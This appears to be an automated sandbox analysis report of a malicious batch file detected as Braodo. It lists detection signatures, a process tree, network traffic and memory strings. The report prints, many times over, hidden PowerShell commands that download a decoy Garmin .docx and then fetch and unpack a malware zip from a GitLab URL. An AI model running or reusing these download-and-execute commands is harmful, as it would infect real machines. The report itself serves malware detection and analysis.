Edit tour

Windows Analysis Report
hnghksdjfhs19De.bat

Overview

General Information

Sample name:	hnghksdjfhs19De.bat
Analysis ID:	1578273
MD5:	ce6e78bc240cf40f51a8247e7fd4aec9
SHA1:	80ee7b876b24f5b0d28683392e92cabe4517a73e
SHA256:	fb03f110f5e21d788fed522950dda72e04dd276dd11f2151f9b7be9164a38276
Tags:	batBraodouser-JAMESWT_MHT
Infos:

Detection

Abobus Obfuscator, Braodo

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Abobus Obfuscator

Yara detected Braodo

Yara detected Powershell download and execute

AI detected suspicious sample

Powershell drops PE file

Sigma detected: PowerShell DownloadFile

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious powershell command line found

Tries to download and execute files (via powershell)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7468 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\hnghksdjfhs19De.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7560 cmdline: chcp.com 437 MD5: 33395C4732A49065EA72590B14B64F32)

cmd.exe (PID: 7576 cmdline: C:\Windows\system32\cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

find.exe (PID: 7592 cmdline: find MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

findstr.exe (PID: 7608 cmdline: fiNdstr /L /I set "C:\Users\user\Desktop\hnghksdjfhs19De.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 7624 cmdline: fiNdstr /L /I goto "C:\Users\user\Desktop\hnghksdjfhs19De.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 7640 cmdline: fiNdstr /L /I echo "C:\Users\user\Desktop\hnghksdjfhs19De.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 7656 cmdline: fiNdstr /L /I pause "C:\Users\user\Desktop\hnghksdjfhs19De.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

find.exe (PID: 7672 cmdline: find MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 7688 cmdline: C:\Windows\system32\cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 7708 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7860 cmdline: powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx'" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7968 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/fgh8090051/jgh/-/raw/main/F1912.zip', 'C:\Users\Public\Document.zip')" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 6836 cmdline: powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')" MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
hnghksdjfhs19De.bat	JoeSecurity_AbobusObfuscator	Yara detected Abobus Obfuscator	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: powershell.exe PID: 7708	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7968	JoeSecurity_Braodo_1	Yara detected Braodo	Joe Security
Process Memory Space: powershell.exe PID: 7968	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Other

Source	Rule	Description	Author
amsi64_7708.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_7968.amsi.csv	JoeSecurity_Braodo_1	Yara detected Braodo	Joe Security
amsi64_7968.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell DownloadFile

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\hnghksdjfhs19De.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7468, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')", ProcessId: 7708, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\hnghksdjfhs19De.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7468, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')", ProcessId: 7708, ProcessName: powershell.exe

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7968, TargetFilename: C:\Users\Public\Document.zip

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6836, TargetFilename: C:\Users\Public\Document\python.exe

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\hnghksdjfhs19De.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7468, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')", ProcessId: 7708, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\hnghksdjfhs19De.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7468, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')", ProcessId: 7708, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\hnghksdjfhs19De.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7468, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')", ProcessId: 7708, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 96.9% probability

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\Document\LICENSE.txt

Jump to behavior

Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.9:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.9:49736 version: TLS 1.2

Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: python312.dll.19.dr
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.1429825010.000001C5C344C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Dn.pdb source: powershell.exe, 0000000C.00000002.1431154014.000001C5C3874000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbNetwork Adapter source: powershell.exe, 0000000C.00000002.1431154014.000001C5C3874000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Q.pdbn source: powershell.exe, 0000000C.00000002.1411266465.000001C5A9570000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.1429825010.000001C5C34DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: powershell.exe, 0000000C.00000002.1431154014.000001C5C388A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdbMiniport (Network Monitor)-QoS Packet Scheduler-0000 source: powershell.exe, 0000000C.00000002.1431154014.000001C5C3874000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 0000000C.00000002.1431154014.000001C5C3874000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 0000000C.00000002.1431154014.000001C5C388A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bpdbtem.pdb2 @G source: powershell.exe, 0000000C.00000002.1411266465.000001C5A9570000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 0000000C.00000002.1431154014.000001C5C3850000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: powershell.exe, 00000013.00000002.2603805919.000001C18F79F000.00000004.00000800.00020000.00000000.sdmp, vcruntime140.dll.19.dr
Source:	Binary string: D:\a\1\b\bin\amd64\pythonw.pdb source: pythonw.exe.19.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: powershell.exe, 00000013.00000002.2603805919.000001C18F79F000.00000004.00000800.00020000.00000000.sdmp, vcruntime140.dll.19.dr
Source:	Binary string: ion.pdbw2 source: powershell.exe, 0000000C.00000002.1431154014.000001C5C3850000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: powershell.exe, 00000013.00000002.2603805919.000001C18F678000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 0000000C.00000002.1431154014.000001C5C388A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 0000000C.00000002.1431154014.000001C5C3874000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1431154014.000001C5C388A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Dn.pdb1 source: powershell.exe, 0000000C.00000002.1431154014.000001C5C3874000.00000004.00000020.00020000.00000000.sdmp

Source: global traffic	HTTP traffic detected: GET /scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fgh8090051/jgh/-/raw/main/F1912.zip HTTP/1.1Host: gitlab.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 172.65.251.78 172.65.251.78
Source: Joe Sandbox View	IP Address: 162.125.69.18 162.125.69.18

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fgh8090051/jgh/-/raw/main/F1912.zip HTTP/1.1Host: gitlab.comConnection: Keep-Alive

Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Policy: base-uri 'self' ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; frame-ancestors 'self' https://.dropbox.com ; img-src https:// data: blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; media-src https:// blob: ; font-src https://* data: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: base-uri 'self' ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; frame-ancestors 'self' https://.dropbox.com ; img-src https:// data: blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; media-src https:// blob: ; font-src https://* data: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ps://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; frame-ancestors 'self' https://.dropbox.com ; img-src https:// data: blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; object-src 'self' 